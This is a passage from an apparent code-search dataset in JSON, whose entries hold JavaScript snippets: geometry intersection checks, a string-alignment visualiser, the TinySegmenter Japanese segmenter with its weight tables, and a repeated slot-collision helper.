(segment.intersectionWithAnotherSegment(new SegmentF(this.lowerLeftPoint,this.lowerRightPoint))) { // if the segment intersects the segments of this box\n return true\n } else if (segment.intersectionWithAnotherSegment(new SegmentF(this.lowerRightPoint,this.upperRightPoint))) {\n return true\n } else if (segment.intersectionWithAnotherSegment(new SegmentF(this.lowerLeftPoint,this.upperLeftPoint))) {\n return true\n } else if (segment.intersectionWithAnotherSegment(new SegmentF(this.upperLeftPoint,this.upperRightPoint))) {\n return true\n } else {\n return false\n }\n }", "title": "" }, { "docid": "fe0c84f9b3dc1981d2edc78d4ed22198", "score": "0.51105773", "text": "function visualize4d(str1, str2, ps) {\n/*\n return JSON.stringify(ps) + \"\\n\" +\n JSON.stringify(str1) + \"\\n\" +\n JSON.stringify(str2) + \"\\n\" +\n \"axx...xexx x xx\" + \"\\n\" +\n \" f x g\" + \"\\n\" +\n \" | | |\" + \"\\n\" +\n \" l y h\" + \"\\n\" +\n \"yyoyymyy yyky jyy yydyyc\";\n\n*/\n if (ps.length == 0) {\n return [\"\"];\n }\n var marked1 = new Array(str1.length + 1);\n var marked2 = new Array(str2.length + 1);\n\n var st1i = 0, st1f = 0, st2i = 0, st2f = 0;\n for (var i = 0; i < str1.length; ++i) {\n marked1[i] = false;\n }\n for (var i = 0; i < str2.length; ++i) {\n marked2[i] = false;\n }\n\n for (var i in ps) {\n marked1[ps[i][0]] = true;\n marked2[ps[i][1]] = true;\n if (st1i == 0 || ps[i][0] < st1i) {\n st1i = ps[i][0];\n }\n if (st1f == 0 || ps[i][0] > st1f) {\n st1f = ps[i][0];\n }\n if (st2i == 0 || ps[i][1] < st2i) {\n st2i = ps[i][1];\n }\n if (st2f == 0 || ps[i][1] > st2f) {\n st2f = ps[i][1];\n }\n }\n\n var gapBegin = Math.max(Math.min(10, st1i - 1), Math.min(10, str2.length - st2f));\n var gapEnd = Math.max(Math.min(10, str1.length - st1f), Math.min(10, st2i - 1));\n var portion = Math.max(0, Math.max(st1f - st1i, st2f - st2i) + 1);\n// var portion = Math.max(3, Math.max(st1f - st1i, st2f - st2i) + 1);\n var portionOffset = 0;\n\n var res = new Array(6);\n for (var i = 0; i < res.length; ++i) {\n res[i] = new String();\n for (var j = 0; j < portion + gapBegin + gapEnd + portionOffset; ++j) {\n //res[i] += '.';\n res[i][j] = ' ';\n //res[i][j] = '_';//'&nbsp;';\n }\n };\n // Fill portion\n var st_idx = gapBegin + portionOffset;\n for (var pt1 = st1i, pt2 = st2f, i = 0; (pt1 <= st1f || pt2 >= st2i) && i < portion; ++i) {\n\n if (marked1[pt1] && marked2[pt2]) {\n res[2][st_idx + i] = str1[pt1 - 1];\n res[4][st_idx + i] = str2[pt2 - 1];\n res[3][st_idx + i] = '|';\n ++pt1;\n --pt2;\n } else {\n if (!marked2[pt2]) {\n res[5][st_idx + i] = str2[pt2 - 1];\n --pt2;\n }\n if (!marked1[pt1]) {\n res[1][st_idx + i] = str1[pt1 - 1];\n pt1++;\n }\n }\n /*\n res[1][st_idx + i] = '_';\n res[5][st_idx + i] = '_';\n */\n }\n\n\n // Fill GapBegin Str1\n\n var gapB1 = allor3dots(str1.substr(0, st1i - 1)); //[0, st1i)\n var st_idx = gapBegin - gapB1.length;\n for (var i = 0; i < gapB1.length; ++i) {\n res[1][st_idx + i] = gapB1[i];\n }\n // Fill GapBegin Str2\n var st_idx = gapBegin - 1;\n\n var gapB2 = allor3dots(str2.substr(st2f)); // (st2f, str2.length)\n for (var i = 0; i < gapB2.length; ++i) {\n res[5][st_idx - i] = gapB2[i];\n }\n\n\n\n // Fill GapEnd Str1\n var st_idx = gapBegin + portion + portionOffset * 2;\n\n var gapE1 = allor3dots(str1.substr(st1f)); //(st1f, str1.length)\n for (var i = 0; i < gapE1.length; ++i) {\n res[1][st_idx + i] = gapE1[i];\n }\n // Fill GapEnd Str2\n\n var gapE2 = allor3dots(str2.substr(0, st2i - 1)); // [0, st2f)\n var st_idx = gapBegin + portion + portionOffset * 2 + gapE2.length - 1;\n\n for (var i = 0; i < gapE2.length; ++i) {\n res[5][st_idx - i] = gapE2[i];\n }\n\n\n return res;\n}", "title": "" }, { "docid": "abb688444a67410be92cf8f2a95e0537", "score": "0.5109291", "text": "function TinySegmenter() {\n var patterns = {\n \"[一二三四五六七八九十百千万億兆]\":\"M\",\n \"[一-龠々〆ヵヶ]\":\"H\",\n \"[ぁ-ん]\":\"I\",\n \"[ァ-ヴーア-ン゙ー]\":\"K\",\n \"[a-zA-Za-zA-Z]\":\"A\",\n \"[0-90-9]\":\"N\"\n }\n this.chartype_ = [];\n for (var i in patterns) {\n var regexp = new RegExp;\n regexp.compile(i)\n this.chartype_.push([regexp, patterns[i]]);\n }\n\n this.BIAS__ = -332\n this.BC1__ = {\"HH\":6,\"II\":2461,\"KH\":406,\"OH\":-1378};\n this.BC2__ = {\"AA\":-3267,\"AI\":2744,\"AN\":-878,\"HH\":-4070,\"HM\":-1711,\"HN\":4012,\"HO\":3761,\"IA\":1327,\"IH\":-1184,\"II\":-1332,\"IK\":1721,\"IO\":5492,\"KI\":3831,\"KK\":-8741,\"MH\":-3132,\"MK\":3334,\"OO\":-2920};\n this.BC3__ = {\"HH\":996,\"HI\":626,\"HK\":-721,\"HN\":-1307,\"HO\":-836,\"IH\":-301,\"KK\":2762,\"MK\":1079,\"MM\":4034,\"OA\":-1652,\"OH\":266};\n this.BP1__ = {\"BB\":295,\"OB\":304,\"OO\":-125,\"UB\":352};\n this.BP2__ = {\"BO\":60,\"OO\":-1762};\n this.BQ1__ = {\"BHH\":1150,\"BHM\":1521,\"BII\":-1158,\"BIM\":886,\"BMH\":1208,\"BNH\":449,\"BOH\":-91,\"BOO\":-2597,\"OHI\":451,\"OIH\":-296,\"OKA\":1851,\"OKH\":-1020,\"OKK\":904,\"OOO\":2965};\n this.BQ2__ = {\"BHH\":118,\"BHI\":-1159,\"BHM\":466,\"BIH\":-919,\"BKK\":-1720,\"BKO\":864,\"OHH\":-1139,\"OHM\":-181,\"OIH\":153,\"UHI\":-1146};\n this.BQ3__ = {\"BHH\":-792,\"BHI\":2664,\"BII\":-299,\"BKI\":419,\"BMH\":937,\"BMM\":8335,\"BNN\":998,\"BOH\":775,\"OHH\":2174,\"OHM\":439,\"OII\":280,\"OKH\":1798,\"OKI\":-793,\"OKO\":-2242,\"OMH\":-2402,\"OOO\":11699};\n this.BQ4__ = {\"BHH\":-3895,\"BIH\":3761,\"BII\":-4654,\"BIK\":1348,\"BKK\":-1806,\"BMI\":-3385,\"BOO\":-12396,\"OAH\":926,\"OHH\":266,\"OHK\":-2036,\"ONN\":-973};\n this.BW1__ = {\",と\":660,\",同\":727,\"B1あ\":1404,\"B1同\":542,\"、と\":660,\"、同\":727,\"」と\":1682,\"あっ\":1505,\"いう\":1743,\"いっ\":-2055,\"いる\":672,\"うし\":-4817,\"うん\":665,\"から\":3472,\"がら\":600,\"こう\":-790,\"こと\":2083,\"こん\":-1262,\"さら\":-4143,\"さん\":4573,\"した\":2641,\"して\":1104,\"すで\":-3399,\"そこ\":1977,\"それ\":-871,\"たち\":1122,\"ため\":601,\"った\":3463,\"つい\":-802,\"てい\":805,\"てき\":1249,\"でき\":1127,\"です\":3445,\"では\":844,\"とい\":-4915,\"とみ\":1922,\"どこ\":3887,\"ない\":5713,\"なっ\":3015,\"など\":7379,\"なん\":-1113,\"にし\":2468,\"には\":1498,\"にも\":1671,\"に対\":-912,\"の一\":-501,\"の中\":741,\"ませ\":2448,\"まで\":1711,\"まま\":2600,\"まる\":-2155,\"やむ\":-1947,\"よっ\":-2565,\"れた\":2369,\"れで\":-913,\"をし\":1860,\"を見\":731,\"亡く\":-1886,\"京都\":2558,\"取り\":-2784,\"大き\":-2604,\"大阪\":1497,\"平方\":-2314,\"引き\":-1336,\"日本\":-195,\"本当\":-2423,\"毎日\":-2113,\"目指\":-724,\"B1あ\":1404,\"B1同\":542,\"」と\":1682};\n this.BW2__ = {\"..\":-11822,\"11\":-669,\"――\":-5730,\"−−\":-13175,\"いう\":-1609,\"うか\":2490,\"かし\":-1350,\"かも\":-602,\"から\":-7194,\"かれ\":4612,\"がい\":853,\"がら\":-3198,\"きた\":1941,\"くな\":-1597,\"こと\":-8392,\"この\":-4193,\"させ\":4533,\"され\":13168,\"さん\":-3977,\"しい\":-1819,\"しか\":-545,\"した\":5078,\"して\":972,\"しな\":939,\"その\":-3744,\"たい\":-1253,\"たた\":-662,\"ただ\":-3857,\"たち\":-786,\"たと\":1224,\"たは\":-939,\"った\":4589,\"って\":1647,\"っと\":-2094,\"てい\":6144,\"てき\":3640,\"てく\":2551,\"ては\":-3110,\"ても\":-3065,\"でい\":2666,\"でき\":-1528,\"でし\":-3828,\"です\":-4761,\"でも\":-4203,\"とい\":1890,\"とこ\":-1746,\"とと\":-2279,\"との\":720,\"とみ\":5168,\"とも\":-3941,\"ない\":-2488,\"なが\":-1313,\"など\":-6509,\"なの\":2614,\"なん\":3099,\"にお\":-1615,\"にし\":2748,\"にな\":2454,\"によ\":-7236,\"に対\":-14943,\"に従\":-4688,\"に関\":-11388,\"のか\":2093,\"ので\":-7059,\"のに\":-6041,\"のの\":-6125,\"はい\":1073,\"はが\":-1033,\"はず\":-2532,\"ばれ\":1813,\"まし\":-1316,\"まで\":-6621,\"まれ\":5409,\"めて\":-3153,\"もい\":2230,\"もの\":-10713,\"らか\":-944,\"らし\":-1611,\"らに\":-1897,\"りし\":651,\"りま\":1620,\"れた\":4270,\"れて\":849,\"れば\":4114,\"ろう\":6067,\"われ\":7901,\"を通\":-11877,\"んだ\":728,\"んな\":-4115,\"一人\":602,\"一方\":-1375,\"一日\":970,\"一部\":-1051,\"上が\":-4479,\"会社\":-1116,\"出て\":2163,\"分の\":-7758,\"同党\":970,\"同日\":-913,\"大阪\":-2471,\"委員\":-1250,\"少な\":-1050,\"年度\":-8669,\"年間\":-1626,\"府県\":-2363,\"手権\":-1982,\"新聞\":-4066,\"日新\":-722,\"日本\":-7068,\"日米\":3372,\"曜日\":-601,\"朝鮮\":-2355,\"本人\":-2697,\"東京\":-1543,\"然と\":-1384,\"社会\":-1276,\"立て\":-990,\"第に\":-1612,\"米国\":-4268,\"11\":-669};\n this.BW3__ = {\"あた\":-2194,\"あり\":719,\"ある\":3846,\"い.\":-1185,\"い。\":-1185,\"いい\":5308,\"いえ\":2079,\"いく\":3029,\"いた\":2056,\"いっ\":1883,\"いる\":5600,\"いわ\":1527,\"うち\":1117,\"うと\":4798,\"えと\":1454,\"か.\":2857,\"か。\":2857,\"かけ\":-743,\"かっ\":-4098,\"かに\":-669,\"から\":6520,\"かり\":-2670,\"が,\":1816,\"が、\":1816,\"がき\":-4855,\"がけ\":-1127,\"がっ\":-913,\"がら\":-4977,\"がり\":-2064,\"きた\":1645,\"けど\":1374,\"こと\":7397,\"この\":1542,\"ころ\":-2757,\"さい\":-714,\"さを\":976,\"し,\":1557,\"し、\":1557,\"しい\":-3714,\"した\":3562,\"して\":1449,\"しな\":2608,\"しま\":1200,\"す.\":-1310,\"す。\":-1310,\"する\":6521,\"ず,\":3426,\"ず、\":3426,\"ずに\":841,\"そう\":428,\"た.\":8875,\"た。\":8875,\"たい\":-594,\"たの\":812,\"たり\":-1183,\"たる\":-853,\"だ.\":4098,\"だ。\":4098,\"だっ\":1004,\"った\":-4748,\"って\":300,\"てい\":6240,\"てお\":855,\"ても\":302,\"です\":1437,\"でに\":-1482,\"では\":2295,\"とう\":-1387,\"とし\":2266,\"との\":541,\"とも\":-3543,\"どう\":4664,\"ない\":1796,\"なく\":-903,\"など\":2135,\"に,\":-1021,\"に、\":-1021,\"にし\":1771,\"にな\":1906,\"には\":2644,\"の,\":-724,\"の、\":-724,\"の子\":-1000,\"は,\":1337,\"は、\":1337,\"べき\":2181,\"まし\":1113,\"ます\":6943,\"まっ\":-1549,\"まで\":6154,\"まれ\":-793,\"らし\":1479,\"られ\":6820,\"るる\":3818,\"れ,\":854,\"れ、\":854,\"れた\":1850,\"れて\":1375,\"れば\":-3246,\"れる\":1091,\"われ\":-605,\"んだ\":606,\"んで\":798,\"カ月\":990,\"会議\":860,\"入り\":1232,\"大会\":2217,\"始め\":1681,\"市\":965,\"新聞\":-5055,\"日,\":974,\"日、\":974,\"社会\":2024,\"カ月\":990};\n this.TC1__ = {\"AAA\":1093,\"HHH\":1029,\"HHM\":580,\"HII\":998,\"HOH\":-390,\"HOM\":-331,\"IHI\":1169,\"IOH\":-142,\"IOI\":-1015,\"IOM\":467,\"MMH\":187,\"OOI\":-1832};\n this.TC2__ = {\"HHO\":2088,\"HII\":-1023,\"HMM\":-1154,\"IHI\":-1965,\"KKH\":703,\"OII\":-2649};\n this.TC3__ = {\"AAA\":-294,\"HHH\":346,\"HHI\":-341,\"HII\":-1088,\"HIK\":731,\"HOH\":-1486,\"IHH\":128,\"IHI\":-3041,\"IHO\":-1935,\"IIH\":-825,\"IIM\":-1035,\"IOI\":-542,\"KHH\":-1216,\"KKA\":491,\"KKH\":-1217,\"KOK\":-1009,\"MHH\":-2694,\"MHM\":-457,\"MHO\":123,\"MMH\":-471,\"NNH\":-1689,\"NNO\":662,\"OHO\":-3393};\n this.TC4__ = {\"HHH\":-203,\"HHI\":1344,\"HHK\":365,\"HHM\":-122,\"HHN\":182,\"HHO\":669,\"HIH\":804,\"HII\":679,\"HOH\":446,\"IHH\":695,\"IHO\":-2324,\"IIH\":321,\"III\":1497,\"IIO\":656,\"IOO\":54,\"KAK\":4845,\"KKA\":3386,\"KKK\":3065,\"MHH\":-405,\"MHI\":201,\"MMH\":-241,\"MMM\":661,\"MOM\":841};\n this.TQ1__ = {\"BHHH\":-227,\"BHHI\":316,\"BHIH\":-132,\"BIHH\":60,\"BIII\":1595,\"BNHH\":-744,\"BOHH\":225,\"BOOO\":-908,\"OAKK\":482,\"OHHH\":281,\"OHIH\":249,\"OIHI\":200,\"OIIH\":-68};\n this.TQ2__ = {\"BIHH\":-1401,\"BIII\":-1033,\"BKAK\":-543,\"BOOO\":-5591};\n this.TQ3__ = {\"BHHH\":478,\"BHHM\":-1073,\"BHIH\":222,\"BHII\":-504,\"BIIH\":-116,\"BIII\":-105,\"BMHI\":-863,\"BMHM\":-464,\"BOMH\":620,\"OHHH\":346,\"OHHI\":1729,\"OHII\":997,\"OHMH\":481,\"OIHH\":623,\"OIIH\":1344,\"OKAK\":2792,\"OKHH\":587,\"OKKA\":679,\"OOHH\":110,\"OOII\":-685};\n this.TQ4__ = {\"BHHH\":-721,\"BHHM\":-3604,\"BHII\":-966,\"BIIH\":-607,\"BIII\":-2181,\"OAAA\":-2763,\"OAKK\":180,\"OHHH\":-294,\"OHHI\":2446,\"OHHO\":480,\"OHIH\":-1573,\"OIHH\":1935,\"OIHI\":-493,\"OIIH\":626,\"OIII\":-4007,\"OKAK\":-8156};\n this.TW1__ = {\"につい\":-4681,\"東京都\":2026};\n this.TW2__ = {\"ある程\":-2049,\"いった\":-1256,\"ころが\":-2434,\"しょう\":3873,\"その後\":-4430,\"だって\":-1049,\"ていた\":1833,\"として\":-4657,\"ともに\":-4517,\"もので\":1882,\"一気に\":-792,\"初めて\":-1512,\"同時に\":-8097,\"大きな\":-1255,\"対して\":-2721,\"社会党\":-3216};\n this.TW3__ = {\"いただ\":-1734,\"してい\":1314,\"として\":-4314,\"につい\":-5483,\"にとっ\":-5989,\"に当た\":-6247,\"ので,\":-727,\"ので、\":-727,\"のもの\":-600,\"れから\":-3752,\"十二月\":-2287};\n this.TW4__ = {\"いう.\":8576,\"いう。\":8576,\"からな\":-2348,\"してい\":2958,\"たが,\":1516,\"たが、\":1516,\"ている\":1538,\"という\":1349,\"ました\":5543,\"ません\":1097,\"ようと\":-4258,\"よると\":5865};\n this.UC1__ = {\"A\":484,\"K\":93,\"M\":645,\"O\":-505};\n this.UC2__ = {\"A\":819,\"H\":1059,\"I\":409,\"M\":3987,\"N\":5775,\"O\":646};\n this.UC3__ = {\"A\":-1370,\"I\":2311};\n this.UC4__ = {\"A\":-2643,\"H\":1809,\"I\":-1032,\"K\":-3450,\"M\":3565,\"N\":3876,\"O\":6646};\n this.UC5__ = {\"H\":313,\"I\":-1238,\"K\":-799,\"M\":539,\"O\":-831};\n this.UC6__ = {\"H\":-506,\"I\":-253,\"K\":87,\"M\":247,\"O\":-387};\n this.UP1__ = {\"O\":-214};\n this.UP2__ = {\"B\":69,\"O\":935};\n this.UP3__ = {\"B\":189};\n this.UQ1__ = {\"BH\":21,\"BI\":-12,\"BK\":-99,\"BN\":142,\"BO\":-56,\"OH\":-95,\"OI\":477,\"OK\":410,\"OO\":-2422};\n this.UQ2__ = {\"BH\":216,\"BI\":113,\"OK\":1759};\n this.UQ3__ = {\"BA\":-479,\"BH\":42,\"BI\":1913,\"BK\":-7198,\"BM\":3160,\"BN\":6427,\"BO\":14761,\"OI\":-827,\"ON\":-3212};\n this.UW1__ = {\",\":156,\"、\":156,\"「\":-463,\"あ\":-941,\"う\":-127,\"が\":-553,\"き\":121,\"こ\":505,\"で\":-201,\"と\":-547,\"ど\":-123,\"に\":-789,\"の\":-185,\"は\":-847,\"も\":-466,\"や\":-470,\"よ\":182,\"ら\":-292,\"り\":208,\"れ\":169,\"を\":-446,\"ん\":-137,\"・\":-135,\"主\":-402,\"京\":-268,\"区\":-912,\"午\":871,\"国\":-460,\"大\":561,\"委\":729,\"市\":-411,\"日\":-141,\"理\":361,\"生\":-408,\"県\":-386,\"都\":-718,\"「\":-463,\"・\":-135};\n this.UW2__ = {\",\":-829,\"、\":-829,\"〇\":892,\"「\":-645,\"」\":3145,\"あ\":-538,\"い\":505,\"う\":134,\"お\":-502,\"か\":1454,\"が\":-856,\"く\":-412,\"こ\":1141,\"さ\":878,\"ざ\":540,\"し\":1529,\"す\":-675,\"せ\":300,\"そ\":-1011,\"た\":188,\"だ\":1837,\"つ\":-949,\"て\":-291,\"で\":-268,\"と\":-981,\"ど\":1273,\"な\":1063,\"に\":-1764,\"の\":130,\"は\":-409,\"ひ\":-1273,\"べ\":1261,\"ま\":600,\"も\":-1263,\"や\":-402,\"よ\":1639,\"り\":-579,\"る\":-694,\"れ\":571,\"を\":-2516,\"ん\":2095,\"ア\":-587,\"カ\":306,\"キ\":568,\"ッ\":831,\"三\":-758,\"不\":-2150,\"世\":-302,\"中\":-968,\"主\":-861,\"事\":492,\"人\":-123,\"会\":978,\"保\":362,\"入\":548,\"初\":-3025,\"副\":-1566,\"北\":-3414,\"区\":-422,\"大\":-1769,\"天\":-865,\"太\":-483,\"子\":-1519,\"学\":760,\"実\":1023,\"小\":-2009,\"市\":-813,\"年\":-1060,\"強\":1067,\"手\":-1519,\"揺\":-1033,\"政\":1522,\"文\":-1355,\"新\":-1682,\"日\":-1815,\"明\":-1462,\"最\":-630,\"朝\":-1843,\"本\":-1650,\"東\":-931,\"果\":-665,\"次\":-2378,\"民\":-180,\"気\":-1740,\"理\":752,\"発\":529,\"目\":-1584,\"相\":-242,\"県\":-1165,\"立\":-763,\"第\":810,\"米\":509,\"自\":-1353,\"行\":838,\"西\":-744,\"見\":-3874,\"調\":1010,\"議\":1198,\"込\":3041,\"開\":1758,\"間\":-1257,\"「\":-645,\"」\":3145,\"ッ\":831,\"ア\":-587,\"カ\":306,\"キ\":568};\n this.UW3__ = {\",\":4889,\"1\":-800,\"−\":-1723,\"、\":4889,\"々\":-2311,\"〇\":5827,\"」\":2670,\"〓\":-3573,\"あ\":-2696,\"い\":1006,\"う\":2342,\"え\":1983,\"お\":-4864,\"か\":-1163,\"が\":3271,\"く\":1004,\"け\":388,\"げ\":401,\"こ\":-3552,\"ご\":-3116,\"さ\":-1058,\"し\":-395,\"す\":584,\"せ\":3685,\"そ\":-5228,\"た\":842,\"ち\":-521,\"っ\":-1444,\"つ\":-1081,\"て\":6167,\"で\":2318,\"と\":1691,\"ど\":-899,\"な\":-2788,\"に\":2745,\"の\":4056,\"は\":4555,\"ひ\":-2171,\"ふ\":-1798,\"へ\":1199,\"ほ\":-5516,\"ま\":-4384,\"み\":-120,\"め\":1205,\"も\":2323,\"や\":-788,\"よ\":-202,\"ら\":727,\"り\":649,\"る\":5905,\"れ\":2773,\"わ\":-1207,\"を\":6620,\"ん\":-518,\"ア\":551,\"グ\":1319,\"ス\":874,\"ッ\":-1350,\"ト\":521,\"ム\":1109,\"ル\":1591,\"ロ\":2201,\"ン\":278,\"・\":-3794,\"一\":-1619,\"下\":-1759,\"世\":-2087,\"両\":3815,\"中\":653,\"主\":-758,\"予\":-1193,\"二\":974,\"人\":2742,\"今\":792,\"他\":1889,\"以\":-1368,\"低\":811,\"何\":4265,\"作\":-361,\"保\":-2439,\"元\":4858,\"党\":3593,\"全\":1574,\"公\":-3030,\"六\":755,\"共\":-1880,\"円\":5807,\"再\":3095,\"分\":457,\"初\":2475,\"別\":1129,\"前\":2286,\"副\":4437,\"力\":365,\"動\":-949,\"務\":-1872,\"化\":1327,\"北\":-1038,\"区\":4646,\"千\":-2309,\"午\":-783,\"協\":-1006,\"口\":483,\"右\":1233,\"各\":3588,\"合\":-241,\"同\":3906,\"和\":-837,\"員\":4513,\"国\":642,\"型\":1389,\"場\":1219,\"外\":-241,\"妻\":2016,\"学\":-1356,\"安\":-423,\"実\":-1008,\"家\":1078,\"小\":-513,\"少\":-3102,\"州\":1155,\"市\":3197,\"平\":-1804,\"年\":2416,\"広\":-1030,\"府\":1605,\"度\":1452,\"建\":-2352,\"当\":-3885,\"得\":1905,\"思\":-1291,\"性\":1822,\"戸\":-488,\"指\":-3973,\"政\":-2013,\"教\":-1479,\"数\":3222,\"文\":-1489,\"新\":1764,\"日\":2099,\"旧\":5792,\"昨\":-661,\"時\":-1248,\"曜\":-951,\"最\":-937,\"月\":4125,\"期\":360,\"李\":3094,\"村\":364,\"東\":-805,\"核\":5156,\"森\":2438,\"業\":484,\"氏\":2613,\"民\":-1694,\"決\":-1073,\"法\":1868,\"海\":-495,\"無\":979,\"物\":461,\"特\":-3850,\"生\":-273,\"用\":914,\"町\":1215,\"的\":7313,\"直\":-1835,\"省\":792,\"県\":6293,\"知\":-1528,\"私\":4231,\"税\":401,\"立\":-960,\"第\":1201,\"米\":7767,\"系\":3066,\"約\":3663,\"級\":1384,\"統\":-4229,\"総\":1163,\"線\":1255,\"者\":6457,\"能\":725,\"自\":-2869,\"英\":785,\"見\":1044,\"調\":-562,\"財\":-733,\"費\":1777,\"車\":1835,\"軍\":1375,\"込\":-1504,\"通\":-1136,\"選\":-681,\"郎\":1026,\"郡\":4404,\"部\":1200,\"金\":2163,\"長\":421,\"開\":-1432,\"間\":1302,\"関\":-1282,\"雨\":2009,\"電\":-1045,\"非\":2066,\"駅\":1620,\"1\":-800,\"」\":2670,\"・\":-3794,\"ッ\":-1350,\"ア\":551,\"グ\":1319,\"ス\":874,\"ト\":521,\"ム\":1109,\"ル\":1591,\"ロ\":2201,\"ン\":278};\n this.UW4__ = {\",\":3930,\".\":3508,\"―\":-4841,\"、\":3930,\"。\":3508,\"〇\":4999,\"「\":1895,\"」\":3798,\"〓\":-5156,\"あ\":4752,\"い\":-3435,\"う\":-640,\"え\":-2514,\"お\":2405,\"か\":530,\"が\":6006,\"き\":-4482,\"ぎ\":-3821,\"く\":-3788,\"け\":-4376,\"げ\":-4734,\"こ\":2255,\"ご\":1979,\"さ\":2864,\"し\":-843,\"じ\":-2506,\"す\":-731,\"ず\":1251,\"せ\":181,\"そ\":4091,\"た\":5034,\"だ\":5408,\"ち\":-3654,\"っ\":-5882,\"つ\":-1659,\"て\":3994,\"で\":7410,\"と\":4547,\"な\":5433,\"に\":6499,\"ぬ\":1853,\"ね\":1413,\"の\":7396,\"は\":8578,\"ば\":1940,\"ひ\":4249,\"び\":-4134,\"ふ\":1345,\"へ\":6665,\"べ\":-744,\"ほ\":1464,\"ま\":1051,\"み\":-2082,\"む\":-882,\"め\":-5046,\"も\":4169,\"ゃ\":-2666,\"や\":2795,\"ょ\":-1544,\"よ\":3351,\"ら\":-2922,\"り\":-9726,\"る\":-14896,\"れ\":-2613,\"ろ\":-4570,\"わ\":-1783,\"を\":13150,\"ん\":-2352,\"カ\":2145,\"コ\":1789,\"セ\":1287,\"ッ\":-724,\"ト\":-403,\"メ\":-1635,\"ラ\":-881,\"リ\":-541,\"ル\":-856,\"ン\":-3637,\"・\":-4371,\"ー\":-11870,\"一\":-2069,\"中\":2210,\"予\":782,\"事\":-190,\"井\":-1768,\"人\":1036,\"以\":544,\"会\":950,\"体\":-1286,\"作\":530,\"側\":4292,\"先\":601,\"党\":-2006,\"共\":-1212,\"内\":584,\"円\":788,\"初\":1347,\"前\":1623,\"副\":3879,\"力\":-302,\"動\":-740,\"務\":-2715,\"化\":776,\"区\":4517,\"協\":1013,\"参\":1555,\"合\":-1834,\"和\":-681,\"員\":-910,\"器\":-851,\"回\":1500,\"国\":-619,\"園\":-1200,\"地\":866,\"場\":-1410,\"塁\":-2094,\"士\":-1413,\"多\":1067,\"大\":571,\"子\":-4802,\"学\":-1397,\"定\":-1057,\"寺\":-809,\"小\":1910,\"屋\":-1328,\"山\":-1500,\"島\":-2056,\"川\":-2667,\"市\":2771,\"年\":374,\"庁\":-4556,\"後\":456,\"性\":553,\"感\":916,\"所\":-1566,\"支\":856,\"改\":787,\"政\":2182,\"教\":704,\"文\":522,\"方\":-856,\"日\":1798,\"時\":1829,\"最\":845,\"月\":-9066,\"木\":-485,\"来\":-442,\"校\":-360,\"業\":-1043,\"氏\":5388,\"民\":-2716,\"気\":-910,\"沢\":-939,\"済\":-543,\"物\":-735,\"率\":672,\"球\":-1267,\"生\":-1286,\"産\":-1101,\"田\":-2900,\"町\":1826,\"的\":2586,\"目\":922,\"省\":-3485,\"県\":2997,\"空\":-867,\"立\":-2112,\"第\":788,\"米\":2937,\"系\":786,\"約\":2171,\"経\":1146,\"統\":-1169,\"総\":940,\"線\":-994,\"署\":749,\"者\":2145,\"能\":-730,\"般\":-852,\"行\":-792,\"規\":792,\"警\":-1184,\"議\":-244,\"谷\":-1000,\"賞\":730,\"車\":-1481,\"軍\":1158,\"輪\":-1433,\"込\":-3370,\"近\":929,\"道\":-1291,\"選\":2596,\"郎\":-4866,\"都\":1192,\"野\":-1100,\"銀\":-2213,\"長\":357,\"間\":-2344,\"院\":-2297,\"際\":-2604,\"電\":-878,\"領\":-1659,\"題\":-792,\"館\":-1984,\"首\":1749,\"高\":2120,\"「\":1895,\"」\":3798,\"・\":-4371,\"ッ\":-724,\"ー\":-11870,\"カ\":2145,\"コ\":1789,\"セ\":1287,\"ト\":-403,\"メ\":-1635,\"ラ\":-881,\"リ\":-541,\"ル\":-856,\"ン\":-3637};\n this.UW5__ = {\",\":465,\".\":-299,\"1\":-514,\"E2\":-32768,\"]\":-2762,\"、\":465,\"。\":-299,\"「\":363,\"あ\":1655,\"い\":331,\"う\":-503,\"え\":1199,\"お\":527,\"か\":647,\"が\":-421,\"き\":1624,\"ぎ\":1971,\"く\":312,\"げ\":-983,\"さ\":-1537,\"し\":-1371,\"す\":-852,\"だ\":-1186,\"ち\":1093,\"っ\":52,\"つ\":921,\"て\":-18,\"で\":-850,\"と\":-127,\"ど\":1682,\"な\":-787,\"に\":-1224,\"の\":-635,\"は\":-578,\"べ\":1001,\"み\":502,\"め\":865,\"ゃ\":3350,\"ょ\":854,\"り\":-208,\"る\":429,\"れ\":504,\"わ\":419,\"を\":-1264,\"ん\":327,\"イ\":241,\"ル\":451,\"ン\":-343,\"中\":-871,\"京\":722,\"会\":-1153,\"党\":-654,\"務\":3519,\"区\":-901,\"告\":848,\"員\":2104,\"大\":-1296,\"学\":-548,\"定\":1785,\"嵐\":-1304,\"市\":-2991,\"席\":921,\"年\":1763,\"思\":872,\"所\":-814,\"挙\":1618,\"新\":-1682,\"日\":218,\"月\":-4353,\"査\":932,\"格\":1356,\"機\":-1508,\"氏\":-1347,\"田\":240,\"町\":-3912,\"的\":-3149,\"相\":1319,\"省\":-1052,\"県\":-4003,\"研\":-997,\"社\":-278,\"空\":-813,\"統\":1955,\"者\":-2233,\"表\":663,\"語\":-1073,\"議\":1219,\"選\":-1018,\"郎\":-368,\"長\":786,\"間\":1191,\"題\":2368,\"館\":-689,\"1\":-514,\"E2\":-32768,\"「\":363,\"イ\":241,\"ル\":451,\"ン\":-343};\n this.UW6__ = {\",\":227,\".\":808,\"1\":-270,\"E1\":306,\"、\":227,\"。\":808,\"あ\":-307,\"う\":189,\"か\":241,\"が\":-73,\"く\":-121,\"こ\":-200,\"じ\":1782,\"す\":383,\"た\":-428,\"っ\":573,\"て\":-1014,\"で\":101,\"と\":-105,\"な\":-253,\"に\":-149,\"の\":-417,\"は\":-236,\"も\":-206,\"り\":187,\"る\":-135,\"を\":195,\"ル\":-673,\"ン\":-496,\"一\":-277,\"中\":201,\"件\":-800,\"会\":624,\"前\":302,\"区\":1792,\"員\":-1212,\"委\":798,\"学\":-960,\"市\":887,\"広\":-695,\"後\":535,\"業\":-697,\"相\":753,\"社\":-507,\"福\":974,\"空\":-822,\"者\":1811,\"連\":463,\"郎\":1082,\"1\":-270,\"E1\":306,\"ル\":-673,\"ン\":-496};\n \n return this;\n}", "title": "" }, { "docid": "e1411bd9441711ee02e8ef1a54b69087", "score": "0.51057583", "text": "function isSlotSegCollision(seg1, seg2) {\n\treturn seg1.bottom > seg2.top && seg1.top < seg2.bottom;\n}", "title": "" }, { "docid": "e1411bd9441711ee02e8ef1a54b69087", "score": "0.51057583", "text": "function isSlotSegCollision(seg1, seg2) {\n\treturn seg1.bottom > seg2.top && seg1.top < seg2.bottom;\n}", "title": "" }, { "docid": "e1411bd9441711ee02e8ef1a54b69087", "score": "0.51057583", "text": "function isSlotSegCollision(seg1, seg2) 